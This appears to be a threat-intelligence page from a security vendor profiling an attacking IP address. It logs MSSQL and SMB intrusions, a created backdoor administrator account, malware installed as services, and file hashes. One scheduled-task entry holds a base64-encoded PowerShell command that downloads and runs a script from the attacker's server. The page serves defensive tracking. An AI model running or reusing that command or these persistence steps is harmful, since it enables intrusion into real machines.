IP Address: 14.245.117.161Previously Malicious

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IP Address:
14.245.117.161​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB MSSQL

Tags

Successful SMB Login Listening Service Creation User Created Service Deletion Service Stop CMD IDS - Attempted User Privilege Gain Download and Execute Execute MsSql Shell Command Scheduled Task Creation MSSQL SMB SMB Share Connect User Added to Group SMB Brute Force Successful MSSQL Login Service Start Download File File Operation By CMD System File Modification

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

14.245.117.161

Domain

-

ISP

Vietnam Posts And Telecommunications Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-05-19

Last seen in Guardicore Centra

2020-05-15

What is Guardicore Centra
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Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User

Successful MSSQL Login

Process c:\windows\system32\lsass.exe started listening on ports: 49158

Listening

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB 2 times

User Created User Added to Group Successful SMB Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The file C:\Windows\FPLoZLwt.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\fplozlwt.exe as a service named iRsY under service group None

Service Start Service Creation

C:\Windows\temp\svchost.exe was downloaded

Download File

The file C:\Windows\fFtLKpPT.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\fftlkppt.exe as a service named xqBD under service group None

Service Start Service Creation

C:\Windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 7 times

SMB Brute Force Successful SMB Login

Service xqBD was stopped

Service Stop

Process netsvcs Service Group started listening on ports: 65533

Listening

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

The command line C:\Windows\WBpPF.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WBpPF

The command line c:\windows\Iipw.exe was scheduled to run by modifying C:\Windows\System32\Tasks\jZgiZ

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The file C:\Windows\SnBLFfxR.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\snblffxr.exe as a service named CkRY under service group None

Service Start Service Creation

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

C:\Windows\Temp\tmp.vbs was downloaded

Download File

Service CkRY was stopped

Service Stop

The command line c:\windows\Iipw.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WLLLBeU

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User 2 times

Successful MSSQL Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\Windows\uXaSVUHK.exe was downloaded

Download File

Connection was closed due to timeout

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\svchost.exe

SHA256: 245855cd9c89326b531c7ce02aa313320a2a61b26771c389b6e0f997cf248e58

130000 bytes

C:\Windows\temp\svchost.exe

SHA256: c50186852c138cdedaff387e0982cd3c63bfe930ea6872903b8b5ec488c08d70

65000 bytes

C:\Windows\temp\svchost.exe

SHA256: c9f4f4788987b69ea452413d093d527d795ce8f961bc34d4ee5c0ca1f369d836

650000 bytes

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IP Address: 14.245.117.161​Previously Malicious